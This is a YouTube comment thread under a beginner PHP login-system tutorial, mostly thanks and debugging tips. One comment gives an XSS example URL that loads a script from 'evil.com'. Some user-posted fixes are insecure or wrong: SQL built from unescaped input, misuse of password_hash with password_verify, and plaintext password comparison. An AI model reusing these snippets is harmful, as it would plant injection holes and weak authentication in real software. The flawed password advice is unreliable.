44: (UPDATED VIDEO IN DESC) How To Create A Login System In PHP For Beginners | PHP Tutorial

Поделиться
HTML-код
  • Опубликовано: 2 ноя 2024

Комментарии • 2,8 тыс.

  • @Dani_Krossing
    @Dani_Krossing  5 лет назад +1023

    I daily receive the same question from different people about having to pay $5 for the CSS file, so before asking here is my answer :)
    Yes you do need to be a Patreon supporter to download my lesson files INCLUDING the CSS file, and here are a few reasons why.
    1: CSS should be easy for you to do at this point, therefore you should not need my CSS file.
    2: This is not a CSS tutorial, and my subscribers even voted on me not including CSS in my videos because it took too long.
    3: You are not supposed to "just copy" from this video, you are supposed to "learn and apply" to your own website. Therefore again, you shouldn't need my CSS.
    4: People have already supported me on Patreon to get the CSS file, therefore I won't suddenly make it free to download.
    5: Majority of my subscribers where the ones who pushed the idea of me using Patreon for my lesson files, and I have their full support in doing so.
    I keep getting comments where people either want to argue with me on why they should be getting my lesson material for free. I don't know if it is a lack of understanding that RUclipsrs also need to pay their bills, or if they simply don't care as long as they get the material for free. But this is how I run my channel :)

    • @jimgerth6854
      @jimgerth6854 5 лет назад +19

      Totally agree and keep up the good stuff! Btw can you tell me what video you’re referring to at 4:36, the „PHP course before“?

    • @Dani_Krossing
      @Dani_Krossing  5 лет назад +14

      Hi Jim, here is the link for that video I mentioned :)
      ruclips.net/video/fMTvi3Rys-o/видео.html

    • @InfiniteThrees
      @InfiniteThrees 5 лет назад +5

      ​@@Dani_Krossing it's great to see that you're active in the comments :). Do you address the duplicate email problem in your forgot password script video?

    • @glennv.merkel3020
      @glennv.merkel3020 5 лет назад +2

      agree, programming is practicing also it is ur effort bro...however ur are the best i like ur videos :P

    • @NewtonCazzaro
      @NewtonCazzaro 5 лет назад +5

      You are absolutely correct, don't even bother adding a CSS file this! You are amazing, thank you so much for this video. I really appreciate it and it really changed my life! Ps. To the people asking for the CSS stylesheet, give us a break... you are watching an advanced computer science video and asking this wizard for a CSS stylesheet? You guys should feel embarrassed of such a stupid complain.

  • @demliquids9381
    @demliquids9381 6 лет назад +814

    shocked at how anyone can give out such a high quality work for free. this was wonderful

    • @Dani_Krossing
      @Dani_Krossing  6 лет назад +43

      Thanks :)

    • @bitmammothOG
      @bitmammothOG 5 лет назад +6

      Patreon helps him a ton :) I support there, its definitely worth considering the contribution.

    • @techcanyon411
      @techcanyon411 5 лет назад

      @@bitmammothOG There was a time i signed up for Patreon for one month but i did not got what i am looking for;a complete login system.Patreon had many branches of payment rate and it pissed me off.

    • @bitmammothOG
      @bitmammothOG 5 лет назад +4

      @@techcanyon411 thing is you are looking for a complete system not learning how to do it yourself. I think you might be better off searching something like Udemy for that sort of info. I do however advise against that out of my personal experience it leads to really old outdated systems. If you stop and think about what you see from each video you already learned way more than you can anywhere else for 5$ a month.

    • @bitmammothOG
      @bitmammothOG 5 лет назад +4

      I once asked how I could do something Daniel already had explained and he clarified which videos to watch then I realized I actually already knew how to do what I was asking. I never had this problem again after that. You want full login system, I believe that is also posted in the current updates on the Patreon but you can always recreate it from the videos on youtube for free. Also for the record, I am not Danial I am Terry an actual supporter :)

  • @Dani_Krossing
    @Dani_Krossing  6 лет назад +197

    Hi everyone! Yes this is a re-upload of an older tutorial :)
    The older version of this video had quite a lot of things I wanted to change both in terms of PHP structure and security. Therefore I have made this new updated version which is a bit longer, but I promise it is worth the watch. ENJOY! :)

    • @der4233228
      @der4233228 6 лет назад +1

      Thank you very much. Well done.

    • @alphagaming1995
      @alphagaming1995 6 лет назад +6

      Please make a video on
      Forget password in php

    • @yasmeentahir5842
      @yasmeentahir5842 6 лет назад +1

      Thankyou Very much

    • @BarnabyPerrinAldous
      @BarnabyPerrinAldous 6 лет назад

      This upload is a major coincidence for me. I followed the old video and then I decided to view the series from scratch. Today I got to episode on hashing and dehashing data and today you upload this. Very handy for me, thanks Daniel!

    • @DR9Freelancer
      @DR9Freelancer 6 лет назад +1

      Hi mmtuts.
      First of all, I just wanted to let you know that I have learned a lot by watching your video tutorials! The way you explain things are really easy to understand!!
      I am also, trully very thankful to you for the amount of time you spend making this fantastic videos and sharing with so many of us your knowledge.
      I have watched a lot of tutorials about making login systems, but the thing that is more difficult to find and is probably one of the biggest concerns for the must of us is the security of the system.
      There are so many threats online, like sql injections, hacking sessions and so many more that the must of us are not even aware off.
      So, what I am trying to say is... how can the must of us protect our login and management systems from all this threats? If you were to make a high security system for a login and admin system, how would you do it?
      Would you create a php file like security.php with all the security classes and functions inside it and called them when needed?! Would that be a easy way to update future security features?! Would you create and generate automatic tokens to prevent sessions hacking?
      Once again, thank you very much for sharing your knowledge with us!

  • @noumansyed5968
    @noumansyed5968 4 года назад +79

    (00:00:00) Introduction
    (00:01:08) Technical info you need to know
    (00:03:45) What you need to have ready before we start
    (00:05:28) HTML & CSS markup
    (00:23:49) Setting up our database
    (00:29:59) Creating the PHP signup script
    (01:15:51) Creating the PHP login script
    (01:35:39) How to start a session on all website pages
    (01:36:37) How to change website content when logged in
    (01:41:10) Creating the PHP logout script
    (01:42:56) How to create error messages
    (01:48:42) If you got an error during this tutorial
    THIS IS AMAIZINGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG

  • @GeorgeBrotherston
    @GeorgeBrotherston 4 года назад +4

    I am relatively new to PHP, and found your courses via a RUclips search. These courses are the best I've seen and I wish to thank you for creating these! I just signed up for the $5/mo. Patreon, and expect to continue support for as long as I am learning through your system. I am interested in many of the topic areas you have available, with each having multiple videos broken down nicely by subtopic. I wish you success in your continued endeavors and look forward to exploring your content!

    • @imanechakri4290
      @imanechakri4290 4 года назад

      can you send me the css code . i'm a student i don't have money for patreon :/

  • @7Mirino
    @7Mirino 5 лет назад +6

    Not only is his tutorial extremely informative and well laid-out, it's also ENTERTAINING to watch.
    I find it very difficult to sit for almost 2 hours straight just watching a video, but the way this is presented made those hours fly!

  • @Brrrndy
    @Brrrndy 5 лет назад +16

    LMAOOOOOO! I TOOK 7 HOURS TO WRITE THE CODE AND FIGURE OUT WHY MY CODES WONT WORK. But thanks for this tutorial. Keep up the good work!

  • @thatminivan
    @thatminivan 5 лет назад +48

    Your work and passion reflects on your videos and files carefully documented. I am now subscribed to your patreon, I feel like you putting the best in your work. It's amazing how good you explain every step. Exactly what I needed. I've been hunting for codes on github and random sites but this is so much more worth it than spending hours trying to understand on your own.

  • @oscarmartinlive
    @oscarmartinlive 4 года назад +8

    This is by far the best PHP login system tutorial I've seen on RUclips. Thank you.

  • @Osuna2024
    @Osuna2024 5 лет назад

    You are really good, man. Thank you very much.
    I took a full web development course in college and didn't learn half as much as I did with you in this video. Sure, anyone can make a simple video for logins but with ZERO cybersecurity or database creation. Again, thank you so much.

  • @Scobb447
    @Scobb447 5 лет назад +24

    Hey, just wanted to point out a little error... At 1:47:44 You should have the following: else if (isset($_GET["signup"])) {
    echo "Success";} or else you'll get a error for signup being empty.... AWESOME GUIDE BTW

    • @Jamie-pb5tq
      @Jamie-pb5tq 5 лет назад +2

      changed that and still getting empty fields error

    • @uvebgns8224
      @uvebgns8224 5 лет назад +1

      thank you !!

    • @sed10001
      @sed10001 4 года назад

      Thanks a lot!

    • @newyorkonmusic8401
      @newyorkonmusic8401 4 года назад +1

      You can do this very easy and user friendly instead. Add this just below the code: else if ($_GET['signup'] == "new"){
      echo 'Just fill in the fields.';
      }
      And in your header.php change the signup a href link to Signup

    • @NoName-rs4th
      @NoName-rs4th 4 года назад +1

      thank you man

  • @mounir101
    @mounir101 6 лет назад +136

    Your voice is great and very clear.

  • @SCHNEE666
    @SCHNEE666 5 лет назад +58

    Wow, I actually learned more from this tutorial than in the past semester at my university :D Thank you!

    • @besz2189
      @besz2189 4 года назад +1

      haha same here :D

  • @saranghaeyo.carvz.
    @saranghaeyo.carvz. 2 года назад +1

    Hi.. I'm a CS Student & I really learn a lot in your video tutorials.. It really help me in building our system for our school requirements.. We are so lucky to have someone like you who have all the passion in creating all this video lessons.. Its a very big help especially for us students.. Thank you so much for creating this superb channel.. Looking forward to more video tutorials of yours!

  • @benjaminibok8003
    @benjaminibok8003 3 года назад +1

    I just finished seeing the second php login system video, and I wrote out everything, I hope I can follow my scribbles without needing the video. Great work right here Danny, thanks so much...

  • @ricardocosta5628
    @ricardocosta5628 4 года назад +6

    I know I'm not early, but you might just have saved my graduation's final project bro. That's a sub for sure.

  • @amasnur79
    @amasnur79 4 года назад +4

    Thank you for this terrific tutorial. Yours has the best coding practice compared to other tutorial videos I have viewed. However, there is a flaw that I detected:
    1:47:25 You did not check if signup is set. As a result, if you access the signup page from index.php (when there are no other error tags in the url), you will get error "Undefined index: signup". My workaround is to do if (isset($_GET['signup'])) first, then check if it is equal to "success".

    • @tp5723
      @tp5723 4 года назад +1

      This is the only little error i recognized, too. I solved it by adding: else if (empty($_GET)) {
      # code...
      }
      just before else if ($_GET['signup'] == "success") {
      echo ' Signup successfull';
      }

    • @learningenglishisfun1470
      @learningenglishisfun1470 4 года назад

      That's correct! thanks

  • @camilabooth7397
    @camilabooth7397 4 года назад +10

    18:09 stopped the video to css the crap out of my php page! Thanks for the lesson!

  • @victoriagn5934
    @victoriagn5934 4 года назад +2

    mmtuts!!! honestly, you saved me from failing one of my programming classes, I was turning in empty docs because I honestly did not know how to do anything (its an online class and my professor only uploaded his lesson plan at the beginning of the semester lmao) thank you sosoosososo much, your lessons are the best!! REALLY THANK YOU. I'm becoming a patreon supporter now for sure:))

  • @afuwapedoyinsola844
    @afuwapedoyinsola844 2 года назад

    2022 AND THIS IS STILL THE GREATEST TUTOR / TUTORIAL OUT THERE
    FACED A NUMBER OF ERRORS MY SELF AND TOOK TIME TO FIX IT
    P.s for who it may concern make sure to create and else statement for an empty fieldset during user login
    LOVE From NIGERIA 🇳🇬❤

  • @sipofbruno6611
    @sipofbruno6611 5 лет назад +9

    For those worrying about the CSS stylesheet, I had no idea how to use CSS so I paused the video, and watched “CSS Crash Course for Absolute Beginners” and a day later I managed to create the same exact design used in this video. Wasn’t that hard.

    • @imanechakri4290
      @imanechakri4290 4 года назад

      can you send me the css code . i'm a student i don't have money for patreon :/

  • @absterexe
    @absterexe 5 лет назад +40

    Thanks mmtuts !
    GET THIS GUY A MILLION OF SUBS.

  • @didierdelay6623
    @didierdelay6623 6 лет назад +22

    Hi,
    Your video is really impressive. You manage to clearly explain a quite sensitive subject. That'a great.
    There is one thing that could actually be confusing for some people. Right at the beginning of the video (around 02:20), You specify using mysqli which is not mysql, and mysqli is the new improved version replacing the older mysql obsolete for quite a while now. This is totally true and very important to mention such thing as thy re still out there many documentations based on mysql. However, the way you say it could be confusing for some people. It could actually be understood as MySQL (the database server) is obsolete, when the mysql library (or extension) is the outdated stuff.
    Never the less, I think you have done a great job at publishing this video, clear, instructive, inspirering. Quite long, but justified, and that's definitely not a problem when user can pause as often as needed.
    Thank you very much

    • @cobrassasino
      @cobrassasino 5 лет назад

      good explanation. I just wandering why he uses mysqli instead PDO. I know PDO is very common, I though is behind Laravel, Wordpress etc...

    • @cobrassasino
      @cobrassasino 5 лет назад

      I anwser myself. I found this on : "websitebeaver.com/php-pdo-vs-mysqli". "My opinion is that PDO should be used by default, especially beginners, due to its versatility, general predictability and useful fetch modes. However, MySQLi would be a better choice for advanced users who want the newest"

  • @NoxaDreshar
    @NoxaDreshar 5 лет назад +1

    Hey mmtuts, fellow coder veteran here. I just stepped over your video and was quite surprised by the quality and detail of this tutorial. You put in a lot of work, information and also error handling for the user which is quite not usual these days, especially for free. My kudos to you. Keep up the good work.

  • @christopher7540
    @christopher7540 4 года назад +1

    thank you man i'm a complete beginner to php but you made the whole process very easy to follow and understand very useful and still relevant in 2020. thank you

  • @farhadboy629
    @farhadboy629 4 года назад +51

    This guy will make me an entrepreneur

  • @poorboy2400
    @poorboy2400 5 лет назад +6

    this tutorial was extremely helpful, thank you for your efforts good man and i hope you upload the tutorial on the user page soon!!!!

  • @angelrico640
    @angelrico640 6 лет назад +5

    Thank you for all the help. You have teach me more than college's teacher. xD Kidding, but definitely a big help in my projects.

  • @LayKxD
    @LayKxD 4 года назад

    I wish I could like this video 5,000 times
    I have to learn PHP and SQL basically in half a semester, and this dude is the real deal.

  • @khuramshahzad9089
    @khuramshahzad9089 2 года назад

    At 40.22 to check if the input field is emp1ty u can go in html code and inp1ut tag and write required before closing that tag. It is that simple we dont need that php condition .
    The video is one of the best on this lesson.♥️

    • @Dani_Krossing
      @Dani_Krossing  2 года назад +1

      If you watch the updated video, I explain why you shouldn’t do that. 🙂
      HTML is not safe to use. You can VERY easily just remove the “required” attribute using the browsers build in dev tool. The same goes for any other front end (JavaScript for example), never use it for security.
      ALWAYS use backend like PHP for security. So no it isn’t as simple as that. 🙂

    • @khuramshahzad9089
      @khuramshahzad9089 2 года назад

      @@Dani_Krossing 😱 U r right
      Thanks. ♥️

  • @hasanajami7653
    @hasanajami7653 6 лет назад +5

    1h, 49min, 36s
    It's a Challenge...
    [ACCEPTED]
    Btw. you're the best:)

  • @gosavva1
    @gosavva1 6 лет назад +5

    Wow, a new login system video that is why I love you and love your videos, you always update your videos .. now I will start watching, thank you from now because I know it will be very helpful.

  • @Wakssbm
    @Wakssbm 5 лет назад +5

    I can't thank you enough for this tutorial! Well made, well explained, I had no question!

  • @majidnafarabad7311
    @majidnafarabad7311 4 года назад

    I returned back to web design after 5 years and this video really helped me recall many items. Thank you so much, it was very clear and helpful.

  • @mohibqureshi391
    @mohibqureshi391 4 года назад

    man....I just can't stop watching you...i mean... your teaching style is unique ...i like it...

  • @hersonbalisi4075
    @hersonbalisi4075 4 года назад +5

    hey! Im kinda new to programming here, very thankful I've found your tutorials! I admire your patience and energy putting everything in words just to explain php to somebody like me, lol.. keep it up!! I will be waiting for your new tuts!
    btw, got a questuin though,
    I've watched this video twice, and I dont think you kinda run an error check if the same EMAIL already exists in the database, or i just missed it? PS: i dont really get the concept of that "prepared statement" thing haha! thanks!

    • @tailboat
      @tailboat 4 года назад

      This is true he doesn't, but it can be easily done by adding the OR operator in the SQL query created at 53:26
      He shows how to add the AND operator while creating this (55:16), just switch that out for the OR and check the email. You would have something that looks similar to this: "SELECT uid FROM users WHERE uid=? OR email=?"

  • @tr0uge962
    @tr0uge962 5 лет назад +96

    mmtuts = "The styling doesn't have any impact on how to login system works"
    me = " nav{display:none;} "

  • @bankoleemmanuel1088
    @bankoleemmanuel1088 6 лет назад +5

    Wow... My mentor. You re-upload this again!!! 🙌🙌🙌😉

  • @jorgetonos
    @jorgetonos 4 года назад

    Bro, I don't think there is an actual word to show my gratitud to you, all current word on the dictionary don't define why I feel right now, so I just will say THANK YOU in caps. I mean, this is, FOR SURE, the best php login tutorial for beginners EVER. Man, you don't just explain with details what is what you're doing, why you're doing it and what the code is for but as well you make sure you're following the latest security measurements out there. I mean, this is just too much, again THANK YOU for your effort in making these videos, the community appreciates it. You have a spot in heaven already my fellow.

  • @blakestevenson3198
    @blakestevenson3198 5 лет назад +1

    First off, your videos are very helpful.
    I did run into one problem on this video with my php recognizing the hashed password in my database. In your video you wrote that
    $pwdCheck = password_verify($password),$row['password']);
    However, whenever i used the correct password it always showed as false, and showed the error (localhost/index.php?error=wrongpwd)
    After hours of looking for defects in my code (because I am a newbie) I figured out that I would have to hash the submitted password prior to searching the database. I made a very small adjustment and it worked.
    $pwdCheck = password_verify(password_hash($password),$row['password']);
    Thanks for all of your help.

    • @shawngrant9488
      @shawngrant9488 3 месяца назад

      YES THIS! Thank you so muchhhh! 😭Also, slight modification: instead of '$pwdCheck = password_verify(password_hash($password),$row['password']);', use ' $pwdCheck = password_verify($password, password_hash($row['pwdUsers'], PASSWORD_DEFAULT)); ' why? First reason is that in order to match the password, we have to unhash the password in the pwdUsers column of the database, not the user's input from the password field on the login page. Second, is that password_hash requires two arguments, not one, so you first need to specify the db password you want to hash, and then you need to specify the second argument as PASSWORD_DEFAULT. I don't know why we use PASSWORD_DEFAULT as the second argument, but from reading around and watching other Krossing php tutorials, this is the typical way to hash passwords.

    • @shawngrant9488
      @shawngrant9488 3 месяца назад

      now my only issue left to resolve is to figure out why it doesn't render the "You are logged in!" response specified in the header.php file, even after the ' $_SESSION['userId'] = $row['idUsers']; ' line in the login.inc.php file sets it to the user's column ID value.

    • @shawngrant9488
      @shawngrant9488 3 месяца назад

      Nevermind, I just figured it out in less than two minutes haha. Apaprently, I had a typo in that line of code. ' $_SESSION['userId'] = $row['idUsers'] ' should have actually been ' $_SESSION['userId'] = $row['idusers'] ' with the 'u' in lowercase. Why? Because the corresponding column id in my users table is titled 'idusers' not 'idUsers'. Sheesh typos suck!

    • @shawngrant9488
      @shawngrant9488 3 месяца назад

      Hollyyyyy F**k the whole thing actually works now! Much thanks so much @blakestevenson3198!!! And much thanks @Dani_Krossing!!!!

  • @per1sher
    @per1sher 4 года назад +5

    This is excellent - thank you for posting. I'll remember you when I float my facebook killer website...

  • @maddragonfurs6358
    @maddragonfurs6358 3 года назад +5

    You just saved me from certain doom, i thank you and will name my first born in your honour

  • @tysonhamada6527
    @tysonhamada6527 5 лет назад +4

    Thanks man awesome tutorial nice teaching style better than my uni teachers

  • @jonathanX01
    @jonathanX01 4 года назад +2

    At 1:39:39, when you mention that a lot of people asked how do you change content whenever you are logged in or not, I think they mean like profile pictures, bio, and user pages.
    At 1:40:55 or so, you were doing it the longer way but you can split the php code and block the entire html code so you don't have to put it in an echo, which works because I have done it many, many times.

  • @NanoStudio9
    @NanoStudio9 4 года назад +1

    It amazes me that you've provided such high quality work for FREE. This was my first attempt at learning PHP and succeeded. Thank you everything you've done!

  • @georgelopez9356
    @georgelopez9356 5 лет назад +4

    Hi mmtuts, I believe you're totally right about charging for your files, what is $5, $20 or even $50 for such a good work!. People prefers to spend $500 at Disneyland rather than pay for something that will help them prosper. If I where you I'd not listen to this people and use my focus and energy to develop more quality curses like this one! Thank you!

  • @JimfromIndy
    @JimfromIndy 6 лет назад +35

    I need to point out that you have allowed multiple users to use the same email address. When you fetch the user upon signin, you assume there is only one. You could easily end up with users having multiple usernames with the same email address, and not knowing which user you selected.

    • @Dani_Krossing
      @Dani_Krossing  6 лет назад +17

      You are right that is something to look out for. I didn't want to go over a whole lot of error handlers in this episode otherwise the already long video would get even longer, however you are right that this is a factor when we allow users to log in using an email as well. The login system doesn't "break" per se, however when the user logs in they will only log in as the first user in the database with that e-mail. The other users with the same e-mail are just going to get ignored.
      I'm gonna go ahead and include this in the description of the video and I will pin your comment as well :)

    • @brantedselnemiada4956
      @brantedselnemiada4956 6 лет назад +15

      I also wonder that would happen, thanks for commenting it out.
      Btw, I'm done fixing it for those who wants the code:
      //Check if the email already exist
      $sql = "SELECT * FROM users WHERE user_email='$email'";
      $result = mysqli_query($conn, $sql);
      $resultCheck = mysqli_num_rows($result);
      if ($resultCheck > 0) {
      header("Location: ../signup.php?signup=emailexist");
      exit();

    • @syahmiahmad2166
      @syahmiahmad2166 6 лет назад +1

      i was about to point that out . you beat me to it .

    • @angelshallom6781
      @angelshallom6781 6 лет назад

      @@brantedselnemiada4956 where should this code be placed?

    • @brantedselnemiada4956
      @brantedselnemiada4956 6 лет назад +3

      @@angelshallom6781 at your signup.inc.php file add that code to your error handlers, dont forget to put it inside of an else statement like this:
      else {
      //Check if the email already exist
      $sql = "SELECT * FROM users WHERE user_email='$email'";
      $result = mysqli_query($connection, $sql);
      $resultCheck = mysqli_num_rows($result);
      if ($resultCheck > 0) {
      header("Location: ../signup.php?signup=emailexist&first=$first&last=$last&uid=$uid");
      exit();
      }

  • @sebastian993
    @sebastian993 5 лет назад +32

    where was this 15 years ago when we had to do it as part of an assignment lol..

    • @arzfiring3331
      @arzfiring3331 4 года назад +4

      Thank god it's atleast available now, so that I can do my assignments 🙃🙃

    • @parthip998
      @parthip998 4 года назад

      @@arzfiring3331 Same 😁

  • @davidsmith-ws4bz
    @davidsmith-ws4bz 4 года назад

    Very helpful video. Anyone new to MySQL finding themselves locked out, might try right click on the XAMPP icon, and click on (run as administrator). This helped heaps when i was learning, and kept getting locked out.

  • @sumdev4983
    @sumdev4983 Год назад

    How can anyone complain about paying 5 bucks for access to the files? Your content is amazing and because of content providers like you, I have a new career that pays well and I'm about to start my own business. I can't thank you enough for all your hard work.

  • @revanslacey
    @revanslacey 4 года назад +10

    27:58 Just looked up SQL text types. TINYTEXT has a maximum of 255 characters. LONGTEXT has a maximum of 4,294,967,295 characters. Should be enough for a reasonably secure password!

    • @loosabway3400
      @loosabway3400 4 года назад +2

      Amusing...

    • @akachi1637
      @akachi1637 4 года назад

      That is 4gb of password!!!!!

    • @haziqsontkraken1246
      @haziqsontkraken1246 4 года назад

      how long password did you use? sure, hashing uses a lot of space, but 4GB is kinda overkill

  • @jakobkmar
    @jakobkmar 5 лет назад +3

    Such a great tutorial! So detailed and mentiones everything you need to know.

  • @paulgarcia2887
    @paulgarcia2887 5 лет назад +11

    Are you going to create a video on a user profile? I'm trying to figure out how to make it so that when a user logs in information about their account balance shows up.

  • @Maths4Everyone
    @Maths4Everyone 4 года назад

    This is so clearly explained. I was dreading creating a login system, but after just a few hours I had one... a couple of hours later I had one which was fully customised for me. Thank you.

  • @gonefishing2006
    @gonefishing2006 Год назад

    Well I'm back watching this one (again). Moved my pages to a new machine and for some reason some of them don't work like they did and I don't like what they look like so refresher course time. Wish you still did PHP videos like you did back in the day.

  • @austingriner2773
    @austingriner2773 5 лет назад +13

    Add this to to automatically fill it in after returning from the error page, if it had been filled in already:
    value=""
    You can do the same with your other text fields as well, only needing to change the "name" part.

    • @HarshdeepSingh-iz6gr
      @HarshdeepSingh-iz6gr 5 лет назад +2

      Just what i was about to write... Good to see someone else is paying attention!!! He didn't actually cover this part!!!😄😄😅

    • @timanderson5717
      @timanderson5717 4 года назад +1

      Why not use That way you're not repeating the name. Also it's shorter. Although, either way you might open yourself up to XSS attacks if someone goes to page.php?name=%3Cscript%20src="evil.com/bad.js/"%3E

    • @Jansa372
      @Jansa372 4 года назад

      I'm sorry but I didn't quite get it. So do i have to write that in the html input?

    • @BanDrag0n
      @BanDrag0n 4 года назад

      how can I do the same thing for the login box? I want it to refill the username if the password was wrong

  • @flaasher
    @flaasher 6 лет назад +12

    Plz make a tutorial with example on how to build a project with MVC and dealing with DB

    • @nmrisrl11
      @nmrisrl11 6 лет назад +2

      Ali Saleh Good suggestion.

  • @Orincaby
    @Orincaby 5 лет назад +90

    The "i" in MySQLi means "i'm the newer version so you have to use me"

    • @privateger
      @privateger 5 лет назад +5

      Don't use it.
      Use PDO.

    • @GentlemanlyOtter
      @GentlemanlyOtter 5 лет назад +1

      dontquestionmyactions, why?

    • @privateger
      @privateger 5 лет назад +4

      @@GentlemanlyOtter Because mysqli has been replaced by it. PDO is way easier to use, universal across many database systems and more secure. The MySQLi functions currently only exist for compatibility reasons.

    • @williamalesna5703
      @williamalesna5703 4 года назад

      lol xD

    • @LuBre
      @LuBre 4 года назад

      Nope, you should use PDO instead.

  • @haakonenoksen9383
    @haakonenoksen9383 2 года назад

    Extremely good lessons. I suggest to do all the error checking at once and send the whole result back for the user to correct. The way it is now set up, the user has to correct one mistake at a time. Let's say he made an error in all entries. He is sent back and forth 6-7 times and finally get the message that the user is already registered. He forgot that he registered 2 years ago. Also I think there is no point sending back the pwd when they don't match. You don't know if the error is in the first or the repeat password. Or, send them both back and the user can have a button to press to show the passwords.

  • @alexalmu9191
    @alexalmu9191 4 года назад

    In case you get success, but no data in your database, please make sure you are using php 7.0. I used nucserv for localhost and did not work, then I installed xampp and it was working(local) and finally, I have upgraded the php version from my panel and I have got data in my database. (also online).Thnak you for the video! Great work!

  • @fling2985
    @fling2985 5 лет назад +5

    When I click the signup button after I wrote in all the correct information it takes me to signup.php?error=sqlerror instead of showing success. I've checked through the code for errors or wrong spellings and I've gone through everything in your code multiple times. I cant find a way to fix this...

    • @justdaidalos985
      @justdaidalos985 5 лет назад +4

      Same. Anyone solved that?

    • @lightyagami3650
      @lightyagami3650 4 года назад +2

      No. I'm also trying to figure out what's wrong. I did everthing exactly like him

    • @lightyagami3650
      @lightyagami3650 4 года назад +1

      Just solved it. I made the mistake to write "!mysqli_stmt_prepare($conn, $sql)" and "mysqli_bind_param(...)". But insted I should have written "!mysqli_stmt_prepare($stmt, $sql)" and "mysqli_stmt_bind_param(...)". Hope that will help you!

  • @photon2724
    @photon2724 5 лет назад +6

    its a great experience getting taught by a young elon musk

  • @tommmmmer
    @tommmmmer 4 года назад +5

    FIX:
    Like many many comments here there is an issue when you signup.
    signup.inc.php
    signup.php?error=sqlerror
    This means the validation checked out but as soon as SQL comes into play it fails. I've tested the DB connection, tested that I can insert from PHP, tested that I can insert on the database.
    Check these lines are just like this:
    $stmt = mysqli_stmt_init($conn);
    if (!mysqli_stmt_prepare($stmt, $sql))
    I think in the video he modifies this at one point nad for me I had one entry of ""mysqli_stmt_init" and the other "mysqli_init

    • @alexzil2142
      @alexzil2142 4 года назад

      I'm not understanding this I'm having an "object not found error 404" and at the same time I'm seeing the "sign up.php? error=sqlerror" on my header I'm very confused and frustrated

  • @anonntsc5222
    @anonntsc5222 3 года назад

    Your explanation is much better than my lesson at school . Although I don't really understand all, because language problem. Thank you!

  • @DCG_42
    @DCG_42 4 года назад

    I need to learn php really fast so this was a good dive into php, this was basically a simple fullstack thank you. This language is very powerful and contains so many useful things for web dev.

  • @marcinmaj3609
    @marcinmaj3609 6 лет назад +21

    Great! Now please remember me, forgot password, csrf Security and protected 3 login attemps.

    • @renestve7017
      @renestve7017 6 лет назад +2

      Use cookies and sessions for "Remember me" and "login attempts"

    • @HarshdeepSingh-iz6gr
      @HarshdeepSingh-iz6gr 5 лет назад

      well it isn't as easy as u'r making it look... php with cookies need to be learned... u can't do it on ur own.. Daniel's got a video for it. go check it out... It shows u how to create a forgot password system
      From there u might get some idea to make "remember me" feature.

  • @stevenvanhulle7242
    @stevenvanhulle7242 4 года назад +6

    3:15 "this going to be a long video."
    Me, noticing the nearly 2 hours playing time: "O.M.G!"

  • @intechmarketing6384
    @intechmarketing6384 4 года назад +3

    For people having issues with the user errors at the end of the video. Use this code:

  • @diahooh
    @diahooh 4 года назад +2

    2 years late but thank you so much Dani, this was the best tutorial I've seen.

  • @markedwards3780
    @markedwards3780 3 года назад +1

    Dani, I think that your lessons are superb and I really don't mind if I have to pay a small fee for dowloading any material you make available. I am learning so much from your lessons, and you have a natural ability to explain complicated concepts in a way that beginners can easily understand. Keep up the good work.

  • @michaltymburski8528
    @michaltymburski8528 5 лет назад +4

    When you say word " SO!" very often it hears like your using it like If statement inside if inside if inside if :D which i guess helps to understand those if statements :)

  • @devlinpaddock4363
    @devlinpaddock4363 4 года назад +3

    Hey just wanted you to know ^

  • @samueliaconelli6943
    @samueliaconelli6943 4 года назад +11

    damn, i forgot the i of mysqli. Dont repeat my same error:(

  • @androidmod183
    @androidmod183 2 года назад

    Just watched all previous lessons and i figured out that there's an updated version for this current video, well i guess i will pass on this one and go to the new one :)
    Thank you for your content

  • @tokka2364
    @tokka2364 4 года назад

    Thanks man, I'm a 15 year old programmer and this was really easy for me to understand. I had an assignment and this made my life so much easier thank you

  • @partians
    @partians 5 лет назад +4

    when I try to login it says success however it still shows You are logged out, the same code that you showed is used.

    • @wyanido
      @wyanido 5 лет назад

      I'm having the same issue

    • @wyanido
      @wyanido 5 лет назад

      Hi again, I found a solution to this problem.
      It worked for me and I hope it will for you as well. In each of your pages at the top where it says require header.php, make sure that the block of php is right at the top of your code with no blank spaces before it. Place it even above

    • @partians
      @partians 5 лет назад +2

      @@wyanido Hey, glad you have that issue fixed. My fix was the userid names for the session.

    • @Some_Techie
      @Some_Techie 5 лет назад +1

      @@partians hello parTians,
      could you please go into detail on how you found that fix? I'm a newbie and I'm having this problem. Thanks.

    • @Karaamjeet
      @Karaamjeet 5 лет назад

      @@Some_Techie same with me

  • @vahidor1540
    @vahidor1540 4 года назад +7

    hi i see this error when login:
    Fatal error: Uncaught Error: Call to undefined function mysqli_stmt_get_result()

    • @crumbae1248
      @crumbae1248 4 года назад +1

      You Should Keep $stmt Inside TheBrackets Of mysqli_stmt_get_result()

    • @logireloco123
      @logireloco123 4 года назад

      or $stmt->get_result();

  • @mrdark3903
    @mrdark3903 5 лет назад +4

    no matter what i do i always get this massage: Fill in all fields!. in the signup page. I have done exactly same as you, and i dont know where the problem lies

  • @bwf1046
    @bwf1046 4 года назад

    Clear, simple, concise... just an amazing tutorial. These are the highest quality programming videos on RUclips.

  • @bowiemtl
    @bowiemtl 4 года назад +1

    I'm so glad that I was right about using sessions for my own attempt at a login system. My entire system was insecure and I knew it was but atleast I got one part of it right. Thanks for this tutorial!

  • @nhoviepante7644
    @nhoviepante7644 5 лет назад +9

    Its not working with me it is showing the sqlerror.

    • @karlkarlson1606
      @karlkarlson1606 4 года назад +1

      I am having the same issue and have rewritten it, did you ever figure out why?

    • @karlkarlson1606
      @karlkarlson1606 4 года назад +1

      I just figured mine out it was a typo in my name of uidUsers

  • @arthemyvandalovski1504
    @arthemyvandalovski1504 4 года назад +7

    I get the error message empty fields even thought i filled all the fields

    • @N-.-A
      @N-.-A 4 года назад

      Arthemy I had the same but figured it out. It's because isset will only return 0/1 true/false. You dont want that, you want the string of the variable 'error'. So instead of isset($_GET['error']) just do: $_GET['error'] Now you got the string to check with and not a bool.

  • @jayjassi5008
    @jayjassi5008 4 года назад +4

    where the password is verified in the login script, when run on the page, it outputs wrong password in the url despite it being correct (not logging in)

    • @migjeniljazi5416
      @migjeniljazi5416 4 года назад

      yeah im having the same problem as well

    • @aliadilovic2294
      @aliadilovic2294 4 года назад +1

      try make if(row['pwdUsers']==$password){ ...}, instead of password_verify part, it worked for me

    • @Kenny-ft9gd
      @Kenny-ft9gd 4 года назад

      @@aliadilovic2294 $pwdCheck = ($row['pwdUser'] == $password); like this?

    • @sexychick9850
